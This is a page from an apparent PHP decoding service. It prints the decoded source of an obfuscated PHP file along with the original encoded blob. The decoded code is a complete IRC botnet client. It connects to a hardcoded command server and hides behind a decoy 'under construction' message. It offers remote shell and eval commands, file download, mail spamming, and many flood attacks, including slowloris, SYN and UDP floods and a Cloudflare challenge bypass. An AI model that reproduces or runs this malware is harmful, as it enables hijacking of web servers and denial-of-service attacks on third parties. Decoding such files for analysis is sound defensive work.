Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(str_rot13(gzinflate(str_rot13(base64_decode('LXzHrqTQsuXXXL3bM7xEj/A28X7Swnvv+..
Decoded Output download
<?php
if(isset($_GET['join'])){
$join = ircjoin;
$cfg = array(
"server" => "5.230.146.82",
"port" => "6666",
"key" => "*",
"prefix" => "",
"maxrand" => "8",
"chan" => "#Oliver",
"trigger" => ".",
"hostauth" => "localhost"
);
set_time_limit(0);
error_reporting(0);
$dir = getcwd();
$uname = @php_uname();
function whereistmP() {
$uploadtmp = ini_get('upload_tmp_dir');
$uf = getenv('USERPROFILE');
$af = getenv('ALLUSERSPROFILE');
$se = ini_get('session.save_path');
$envtmp = (getenv('TMP')) ? getenv('TMP') : getenv('TEMP');
if(is_dir('/tmp') && is_writable('/tmp'))
return '/tmp';
if(is_dir('/usr/tmp') && is_writable('/usr/tmp'))
return '/usr/tmp';
if(is_dir('/var/tmp') && is_writable('/var/tmp'))
return '/var/tmp';
if(is_dir($uf) && is_writable($uf))
return $uf;
if(is_dir($af) && is_writable($af))
return $af;
if(is_dir($se) && is_writable($se))
return $se;
if(is_dir($uploadtmp) && is_writable($uploadtmp))
return $uploadtmp;
if(is_dir($envtmp) && is_writable($envtmp))
return $envtmp;
return '.';
}
function srvshelL($command) {
$name = whereistmP() . "\" . uniqid('NJ');
$n = uniqid('NJ');
$cmd = (empty($_SERVER['ComSpec'])) ? 'd:\windows\system32\cmd.exe' : $_SERVER['ComSpec'];
win32_create_service(array(
'service' => $n,
'display' => $n,
'path' => $cmd,
'params' => "/c $command >\"$name\""
));
win32_start_service($n);
win32_stop_service($n);
win32_delete_service($n);
while(!file_exists($name))
sleep(1);
$exec = file_get_contents($name);
unlink($name);
return $exec;
}
function ffishelL($command) {
$name = whereistmP() . "\" . uniqid('NJ');
$api = new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);");
$res = $api->WinExec("cmd.exe /c $command >\"$name\"", 0);
while(!file_exists($name))
sleep(1);
$exec = file_get_contents($name);
unlink($name);
return $exec;
}
function comshelL($command, $ws) {
$exec = $ws->exec("cmd.exe /c $command");
$so = $exec->StdOut();
return $so->ReadAll();
}
function perlshelL($command) {
$perl = new perl();
ob_start();
$perl->eval("system(\"$command\")");
$exec = ob_get_contents();
ob_end_clean();
return $exec;
}
function Exe($command) {
$exec = $output = '';
$dep[] = array(
'pipe',
'r'
);
$dep[] = array(
'pipe',
'w'
);
if (function_exists('passthru')) {
ob_start();
@passthru($command);
$exec = ob_get_contents();
ob_clean();
ob_end_clean();
} elseif (function_exists('system')) {
$tmp = ob_get_contents();
ob_clean();
@system($command);
$output = ob_get_contents();
ob_clean();
$exec = $tmp;
} elseif (function_exists('exec')) {
@exec($command, $output);
$output = join("
", $output);
$exec = $output;
} elseif(function_exists('shell_exec'))
$exec = @shell_exec($command);
elseif (function_exists('popen')) {
$output = @popen($command, 'r');
while (!feof($output)) {
$exec = fgets($output);
}
pclose($output);
} elseif (function_exists('proc_open')) {
$res = @proc_open($command, $dep, $pipes);
while (!feof($pipes[1])) {
$line = fgets($pipes[1]);
$output .= $line;
}
$exec = $output;
proc_close($res);
} elseif(function_exists('win_shell_execute') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')
$exec = winshelL($command);
elseif(function_exists('win32_create_service') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')
$exec = srvshelL($command);
elseif(extension_loaded('ffi') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')
$exec = ffishelL($command);
elseif(extension_loaded('perl'))
$exec = perlshelL($command);
return $exec;
}
class pBot {
public $config = '';
public $user_agents = array(
"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.60 Safari/537.17",
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
"Mozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20120716 Firefox/15.0a2",
"Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20120403211507 Firefox/12.0",
"Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)",
"Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)",
"Opera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version/12.00"
);
public $charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
public $users = array();
public function start($cfg) {
$this->config = $cfg;
while (true) {
if(!($this->conn = fsockopen($this->config['server'], $this->config['port'], $e, $s, 30)))
$this->start($cfg);
$ident = $this->config['prefix'];
$alph = range("0", "9");
for($i = 0; $i < $this->config['maxrand']; $i++)
$ident .= $alph[rand(0, 9)];
$this->send("USER " . $ident . " 127.0.0.1 localhost :" . php_uname() . "");
$this->set_nick();
$this->main();
}
}
public function main() {
while (!feof($this->conn)) {
if (function_exists('stream_select')) {
$read = array(
$this->conn
);
$write = NULL;
$except = NULL;
$changed = stream_select($read, $write, $except, 30);
if ($changed == 0) {
fwrite($this->conn, "PING :lelcomeatme
");
$read = array(
$this->conn
);
$write = NULL;
$except = NULL;
$changed = stream_select($read, $write, $except, 30);
if($changed == 0)
break;
}
}
$this->buf = trim(fgets($this->conn, 512));
$cmd = explode(" ", $this->buf);
if (substr($this->buf, 0, 6) == "PING :") {
$this->send("PONG :" . substr($this->buf, 6));
continue;
}
if (isset($cmd[1]) && $cmd[1] == "001") {
$this->join($this->config['chan'], $this->config['key']);
continue;
}
if (isset($cmd[1]) && $cmd[1] == "433") {
$this->set_nick();
continue;
}
if ($this->buf != $old_buf) {
$mcmd = array();
$msg = substr(strstr($this->buf, " :"), 2);
$msgcmd = explode(" ", $msg);
$nick = explode("!", $cmd[0]);
$vhost = explode("@", $nick[1]);
$vhost = $vhost[1];
$nick = substr($nick[0], 1);
$host = $cmd[0];
if($msgcmd[0] == $this->nick)
for($i = 0; $i < count($msgcmd); $i++)
$mcmd[$i] = $msgcmd[$i + 1];
else
for($i = 0; $i < count($msgcmd); $i++)
$mcmd[$i] = $msgcmd[$i];
if (count($cmd) > 2) {
switch ($cmd[1]) {
case "PRIVMSG":
if ($vhost == $this->config['hostauth'] || $this->config['hostauth'] == "*") {
if (substr($mcmd[0], 0, 1) == ".") {
switch (substr($mcmd[0], 1)) {
case "mail":
if (count($mcmd) > 4) {
$header = "From: <" . $mcmd[2] . ">";
if (!mail($mcmd[1], $mcmd[3], strstr($msg, $mcmd[4]), $header)) {
$this->privmsg($this->config['chan'], "[mail]: failed sending.");
} else {
$this->privmsg($this->config['chan'], "[mail]: sent.");
}
}
break;
case "dns":
if (isset($mcmd[1])) {
$ip = explode(".", $mcmd[1]);
if (count($ip) == 4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3])) {
$this->privmsg($this->config['chan'], "[dns]: " . $mcmd[1] . " => " . gethostbyaddr($mcmd[1]));
} else {
$this->privmsg($this->config['chan'], "[dns]: " . $mcmd[1] . " => " . gethostbyname($mcmd[1]));
}
}
break;
case "uname":
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") {
$safemode = "on";
} else {
$safemode = "off";
}
$uname = php_uname();
$this->privmsg($this->config['chan'], "[info]: " . $uname . " (safe: " . $safemode . ")");
break;
case "rndnick":
$this->set_nick();
break;
case "raw":
$this->send(strstr($msg, $mcmd[1]));
break;
case "eval":
ob_start();
eval(strstr($msg, $mcmd[1]));
$exec = ob_get_contents();
ob_end_clean();
$ret = explode("
", $exec);
for($i = 0; $i < count($ret); $i++)
if($ret[$i] != NULL)
$this->privmsg($this->config['chan'], " : " . trim($ret[$i]));
break;
case "exec":
$command = substr(strstr($msg, $mcmd[0]), strlen($mcmd[0]) + 1);
$exec = exec($command);
$ret = explode("
", $exec);
for($i = 0; $i < count($ret); $i++)
if($ret[$i] != NULL)
$this->privmsg($this->config['chan'], " : " . trim($ret[$i]));
break;
case "cmd":
$command = substr(strstr($msg, $mcmd[0]), strlen($mcmd[0]) + 1);
$exec = Exe($command);
$ret = explode("
", $exec);
for($i = 0; $i < count($ret); $i++)
if($ret[$i] != NULL)
$this->privmsg($this->config['chan'], " : " . trim($ret[$i]));
break;
case "ud.server":
if (count($mcmd) > 2) {
$this->config['server'] = $mcmd[1];
$this->config['port'] = $mcmd[2];
if (isset($mcmcd[3])) {
$this->config['pass'] = $mcmd[3];
$this->privmsg($this->config['chan'], "[update]: info updated " . $mcmd[1] . ":" . $mcmd[2] . " pass: " . $mcmd[3]);
} else {
$this->privmsg($this->config['chan'], "[update]: switched server to " . $mcmd[1] . ":" . $mcmd[2]);
}
fclose($this->conn);
}
break;
case "download":
if (count($mcmd) > 2) {
if (!$fp = fopen($mcmd[2], "w")) {
$this->privmsg($this->config['chan'], "[download]: could not open output file.");
} else {
if (!$get = file($mcmd[1])) {
$this->privmsg($this->config['chan'], "[download]: could not download " . $mcmd[1] . "");
} else {
for ($i = 0; $i <= count($get); $i++) {
fwrite($fp, $get[$i]);
}
$this->privmsg($this->config['chan'], "[download]: file " . $mcmd[1] . " downloaded to " . $mcmd[2] . "");
}
fclose($fp);
}
} else {
$this->privmsg($this->config['chan'], "[download]: use .download http://your.host/file /tmp/file");
}
break;
case "udpflood":
if (count($mcmd) > 4) {
$this->udpflood($mcmd[1], $mcmd[2], $mcmd[3], $mcmd[4]);
}
break;
case "tcpconn":
if (count($mcmd) > 5) {
$this->tcpconn($mcmd[1], $mcmd[2], $mcmd[3]);
}
break;
case "rudy":
if (count($mcmd) > 2) {
$this->doSlow($mcmd[1], $mcmd[2]);
}
break;
case "slowread":
if (count($mcmd) > 3) {
$this->slowRead($mcmd[1], $mcmd[2], $mcmd[3]);
}
break;
case "slowloris":
if (count($mcmd) > 2) {
$this->doSlow($mcmd[1], $mcmd[2]);
}
break;
case "synflood":
if (count($mcmd) > 3) {
$this->synflood($mcmd[1], $mcmd[2], $mcmd[3]);
}
case "l7":
if (count($mcmd) > 3) {
if ($mcmd[1] == "get") {
$this->attack_http("GET", $mcmd[2], $mcmd[3]);
}
if ($mcmd[1] == "post") {
$this->attack_post($mcmd[2], $mcmd[3]);
}
if ($mcmd[1] == "head") {
$this->attack_http("HEAD", $mcmd[2], $mcmd[3]);
}
}
break;
case "syn":
if (count($mcmd) > 2) {
$this->syn($mcmd[1], $mcmd[2], $mcmd[3], $mcmd[4]);
} else {
$this->privmsg($this->config['chan'], "syntax: syn host port time [delaySeconds]");
}
break;
case "tcpflood":
if (count($mcmd) > 2) {
$this->tcpflood($mcmd[1], $mcmd[2], $mcmd[3]);
} else {
$this->privmsg($this->config['chan'], "syntax: tcpflood host port time");
}
break;
case "httpflood":
if (count($mcmd) > 2) {
$this->httpflood($mcmd[1], $mcmd[2], $mcmd[3], $mcmd[4], $mcmd[5]);
} else {
$this->privmsg($this->config['chan'], "syntax: httpflood host port time [method] [url]");
}
break;
case "proxyhttpflood":
if (count($mcmd) > 2) {
$this->proxyhttpflood($mcmd[1], $mcmd[2], $mcmd[3], $mcmd[4]);
} else {
$this->privmsg($this->config['chan'], "syntax: proxyhttpflood targetUrl(with http://) proxyListUrl time [method]");
}
break;
case "cloudflareflood":
print_r($mcmd);
if (count($mcmd) > 2) {
$this->cloudflareflood($mcmd[1], $mcmd[2], $mcmd[3], $mcmd[4], $mcmd[5], $mcmd[6]);
} else {
$this->privmsg($this->config['chan'], "syntax: cloudflareflood host port time [method] [url] [postFields]");
}
break;
}
}
}
break;
}
}
}
}
}
public function send($msg) {
fwrite($this->conn, $msg . "
");
}
public function join($chan, $key = NULL) {
$this->send("JOIN " . $chan . " " . $key);
}
public function privmsg($to, $msg) {
$this->send("PRIVMSG " . $to . " :" . $msg);
}
public function notice($to, $msg) {
$this->send("NOTICE " . $to . " :" . $msg);
}
public function set_nick() {
$fp = fsockopen("freegeoip.net", 80, $dummy, $dummy, 30);
if(!$fp)
$this->nick = "[UKN]";
else {
fclose($fp);
$ctx = stream_context_create(array(
'http' => array(
'timeout' => 30
)
));
$buf = file_get_contents("http://freegeoip.net/json/", 0, $ctx);
if(!strstr($buf, "country_code"))
$this->nick = "[UKN]";
else {
$code = strstr($buf, "country_code");
$code = substr($code, 12);
$code = substr($code, 3, 2);
$this->nick = "[" . $code . "]";
}
}
if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')
$this->nick .= "[WIN32]";
else
$this->nick .= "[LINUX]";
if (isset($_SERVER['SERVER_SOFTWARE'])) {
if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']), "apache"))
$this->nick .= "[A]";
elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']), "iis"))
$this->nick .= "[I]";
elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']), "xitami"))
$this->nick .= "[X]";
elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']), "nginx"))
$this->nick .= "[N]";
else
$this->nick .= "[U]";
} else {
$this->nick .= "[C]";
}
$this->nick .= $this->config['prefix'];
for($i = 0; $i < $this->config['maxrand']; $i++)
$this->nick .= mt_rand(0, 9);
$this->send("NICK " . $this->nick);
}
public function cloudflareflood($host, $port, $time, $method="GET", $url="/", $post=array()) {
$this->privmsg($this->config['chan'], "[CloudFlareFlood Started!]");
$timei = time();
$user_agent = $this->user_agents[rand(0, count($this->user_agents)-1)];
$packet = "$method $url HTTP/1.1
";
$packet .= "Host: $host
";
$packet .= "Keep-Alive: 300
";
$packet .= "Connection: keep-alive
";
$packet .= "User-Agent: $user_agent
";
//Cloudflare Bypass
$res = curl($host, null, $user_agent, true);
//Cloudflare Bypass
if (strstr($res, "DDoS protection by CloudFlare")) {
$this->privmsg($this->config['chan'], "[CloudFlare detected!...]");
//Get the math calc
$math_calc = get_between($res, "a.value = ", ";");
if ($math_calc) {
$math_result = (int) eval("return ($math_calc);");
if (is_numeric($math_result)) {
$math_result += strlen($host); //Domain lenght
//Send the CloudFlare's form
$getData = "cdn-cgi/l/chk_jschl";
$getData .= "?jschl_vc=".get_between($res, 'name="jschl_vc" value="', '"');
$getData .= "&jschl_answer=".$math_result;
$res = curl($host.$getData, null, $user_agent);
//Cloudflare Bypassed?
if (strstr($res, "DDoS protection by CloudFlare")) {
$this->privmsg($this->config['chan'], "[CloudFlare not bypassed...]");
return false;
} else {
$bypassed = true;
//Cookie read
$cookie = trim(get_between(file_get_contents("cookie.txt"), "__cfduid", "
"));
$packet .= "Cookie: __cfduid=".$cookie."
";
}
}
}
} else {
$this->privmsg($this->config['chan'], "[CloudFlare not detected...]");
}
if ($bypassed) {
$this->privmsg($this->config['chan'], "[CloudFlare bypassed!]");
}
$this->privmsg($this->config['chan'], "[Flodding...]");
while (time() - $timei < $time) {
$handle = fsockopen($host, $port, $errno, $errstr, 1);
fwrite($handle, $packet);
}
$this->privmsg($this->config['chan'], "[CloudFlareFlood Finished!]");
}
public function httpflood($host, $port, $time, $method="GET", $url="/") {
$this->privmsg($this->config['chan'], "[HttpFlood Started!]");
$timei = time();
$user_agent = $this->user_agents[rand(0, count($this->user_agents)-1)];
$packet = "$method $url HTTP/1.1
";
$packet .= "Host: $host
";
$packet .= "Keep-Alive: 900
";
$packet .= "Cache-Control: no-cache
";
$packet .= "Content-Type: application/x-www-form-urlencoded
";
$packet .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
";
$packet .= "Accept-Language: en-GB,en-US;q=0.8,en;q=0.6
";
$packet .= "Accept-charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
";
$packet .= "Connection: keep-alive
";
$packet .= "User-Agent: $user_agent
";
while (time() - $timei < $time) {
$handle = fsockopen($host, $port, $errno, $errstr, 1);
fwrite($handle, $packet);
}
$this->privmsg($this->config['chan'], "[HttpFlood Finished!]");
}
public function proxyhttpflood($url, $proxyListUrl, $time, $method="GET") {
$this->privmsg($this->config['chan'], "[ProxyHttpFlood Started!]");
$timei = time();
//Grabbing proxy
$proxyList = curl($proxyListUrl);
if ($proxyList) {
$proxies = explode("
", $proxyList);
if (count($proxies)) {
shuffle($proxies);
$proxies[0] = trim($proxies[0]);
$proxy = explode(":", $proxies[0]);
$proxyIp = $proxy[0];
$proxyPort = $proxy[1];
if ($proxyPort && $proxyIp) {
$user_agent = $this->user_agents[rand(0, count($this->user_agents)-1)];
$packet = "$method $url HTTP/1.1
";
$packet .= "Host: $host
";
$packet .= "Keep-Alive: 900
";
$packet .= "Cache-Control: no-cache
";
$packet .= "Content-Type: application/x-www-form-urlencoded
";
$packet .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
";
$packet .= "Accept-Language: en-GB,en-US;q=0.8,en;q=0.6
";
$packet .= "Accept-charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
";
$packet .= "Connection: keep-alive
";
$packet .= "User-Agent: $user_agent
";
while (time() - $timei < $time) {
$handle = fsockopen($proxyIp, $proxyPort, $errno, $errstr, 1);
fwrite($handle, $packet);
}
} else {
$this->privmsg($this->config['chan'], "[Malformed proxy!]");
}
} else {
$this->privmsg($this->config['chan'], "[No proxies found!]");
}
} else {
$this->privmsg($this->config['chan'], "[Proxy List not found!]");
}
$this->privmsg($this->config['chan'], "[ProxyHttpFlood Finished (Proxy: ".$proxies[0].")!]");
}
public function tcpflood($host, $port, $time) {
$this->privmsg($this->config['chan'], "[TCP Started!]");
$timei = time();
$packet = "";
for ($i = 0; $i < 65000; $i++) {
$packet .= $this->charset[rand(0, strlen($this->charset))];
}
while (time() - $timei < $time) {
$handle = fsockopen("tcp://".$host, $port, $errno, $errstr, 1);
fwrite($handle, $packet);
}
$this->privmsg($this->config['chan'], "[TCP Finished!]");
}
public function slowRead($host, $port, $time) {
$timei = time();
$fs = array();
//initialize get headers.
$this->privmsg($this->config['chan'], "[Started Slowread!]");
$headers = "GET / HTTP/1.1
Host: {$host}
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
";
while (time() - $timei < $time) {
for ($i = 0; $i < 100; $i++) {
$fs[$i] = @fsockopen($host, $port, $errno, $errstr);
fwrite($fs[$i], $headers);
}
while (time() - $timei < $time) {
for ($i = 0; $i < count($fs); $i++) {
if (!$fs[$i]) {
$fs[$i] = @fsockopen($host, $port, $errno, $errstr);
fwrite($fs[$i], $headers);
}
fread($fs[$i], 1);
}
sleep(mt_rand(0.5, 2));
}
}
$this->privmsg($this->config['chan'], "[Finished Slowread]");
}
public function attack_http($mthd, $server, $time) {
$timei = time();
$fs = array();
$this->privmsg($this->config['chan'], "[Layer 7 {$mthd} Attack Started On : $server!]");
$request = "$mthd / HTTP/1.1
";
$request .= "Host: $server
";
$request .= "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
";
$request .= "Keep-Alive: 900
";
$request .= "Accept: *.*
";
$timei = time();
for ($i = 0; $i < 100; $i++) {
$fs[$i] = @fsockopen($server, 80, $errno, $errstr);
}
while ((time() - $timei < $time)) {
for ($i = 0; $i < 100; $i++) {
if (@fwrite($fs[$i], $request)) {
continue;
} else {
$fs[$i] = @fsockopen($server, 80, $errno, $errstr);
}
}
}
$this->privmsg($this->config['chan'], "[Layer 7 {$mthd} Attack Finished!]");
}
public function attack_post($server, $host, $time) {
$timei = time();
$fs = array();
$this->privmsg($this->config['chan'], "[Layer 7 Post Attack Started On : $server!]");
$request = "POST /" . md5(rand()) . " HTTP/1.1
";
$request .= "Host: $host
";
$request .= "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
";
$request .= "Keep-Alive: 900
";
$request .= "Content-Length: 1000000000
";
$request .= "Content-Type: application/x-www-form-urlencoded
";
$request .= "Accept: *.*
";
for ($i = 0; $i < 100; $i++) {
$fs[$i] = @fsockopen($host, 80, $errno, $errstr);
}
while ((time() - $timei < $time)) {
for ($i = 0; $i < 100; $i++) {
if (@fwrite($fs[$i], $request)) {
continue;
} else {
$fs[$i] = @fsockopen($host, 80, $errno, $errstr);
}
}
}
fclose($sockfd);
$this->privmsg($this->config['chan'], "[Layer 7 Post Attack Finished!]");
}
public function doSlow($host, $time) {
$this->privmsg($this->config['chan'], "[SlowLoris Started!]");
$timei = time();
$i = 0;
for ($i = 0; $i < 100; $i++) {
$fs[$i] = @fsockopen($host, 80, $errno, $errstr);
}
while ((time() - $timei < $time)) {
for ($i = 0; $i < 100; $i++) {
$out = "POST / HTTP/1.1
";
$out .= "Host: {$host}
";
$out .= "User-Agent: Opera/9.21 (Windows NT 5.1; U; en)
";
$out .= "Content-Length: " . rand(1, 1000) . "
";
$out .= "X-a: " . rand(1, 10000) . "
";
if (@fwrite($fs[$i], $out)) {
continue;
} else {
$fs[$i] = @fsockopen($server, 80, $errno, $errstr);
}
}
}
$this->privmsg($this->config['chan'], "[SlowLoris Finished!]");
}
public function syn($host, $port, $time, $delay=1) {
$this->privmsg($this->config['chan'], "[SYN Started!]");
$timei = time();
$socks = array();
while (time() - $timei < $time) {
$numsocks++;
$socks[$numsocks] = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if (!$socks[$numsocks]) continue;
@socket_set_nonblock($socks[$numsocks]);
for ($j = 0; $j < 20; $j++)
@socket_connect($socks[$numsocks], $host, $port);
sleep($delay);
}
$this->privmsg($this->config['chan'], "[SYN Finished (".$numsocks." socks created)!]");
}
public function synflood($host, $port, $delay) {
$this->privmsg($this->config['chan'], "[synFlood Started!]");
$socks = array();
$numsocks = 0;
$numsocks++;
$socks[$numsocks] = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if(!$socks[$numsocks])
continue;
@socket_set_nonblock($socks[$numsocks]);
for($j = 0; $j < 20; $j++)
@socket_connect($socks[$numsocks], $host, $port);
sleep($delay);
for ($j = 0; $j < $numsocks; $j++) {
if($socks[$j])
@socket_close($socks[$j]);
}
$this->privmsg($this->config['chan'], "[SynFlood Finished!]: Config - For $host:$port.");
}
public function udpflood($host, $port, $time, $packetsize) {
$this->privmsg($this->config['chan'], "[UdpFlood Started!]");
$packet = "";
for ($i = 0; $i < $packetsize; $i++) {
$packet .= chr(rand(1, 256));
}
$end = time() + $time;
$i = 0;
$fp = fsockopen("udp://" . $host, $port, $e, $s, 5);
while (true) {
fwrite($fp, $packet);
fflush($fp);
if ($i % 100 == 0) {
if($end < time())
break;
}
$i++;
}
fclose($fp);
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'], "[UdpFlood Finished!]: " . $env . " MB sent / Average: " . $vel . " MB/s ");
}
public function tcpconn($host, $port, $time) {
$this->privmsg($this->config['chan'], "[TcpConn Started!]");
$end = time() + $time;
$i = 0;
while ($end > time()) {
$fp = fsockopen($host, $port, $dummy, $dummy, 1);
fclose($fp);
$i++;
}
$this->privmsg($this->config['chan'], "[TcpFlood Finished!]: sent " . $i . " connections to $host:$port.");
}
}
$bot = new pBot;
$bot->start($cfg);
function curl($url, $post=array(), $user_agent="", $deleteCookies=false) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_URL, $url);
if ($user_agent) {
curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
}
if (!empty($post)) {
curl_setopt($ch,CURLOPT_POST, 1);
curl_setopt($ch,CURLOPT_POSTFIELDS, $post);
}
if ($deleteCookies) {
file_put_contents("cookie.txt", "");
}
curl_setopt ($ch, CURLOPT_COOKIEJAR, "cookie.txt");
curl_setopt ($ch, CURLOPT_COOKIEFILE, "cookie.txt");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$result = curl_exec($ch);
//$statusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
return $result;
}
function get_between($string,$start,$end) {
$string = " ".$string;
$ini = strpos($string, $start);
if($ini==0) return "";
$ini += strlen($start);
$len = strpos($string, $end, $ini) - $ini;
return substr($string, $ini, $len);
}
} else {
echo "This site is still under construction.";
}
?>
Did this file decode correctly?
Original Code
<?php
eval(str_rot13(gzinflate(str_rot13(base64_decode('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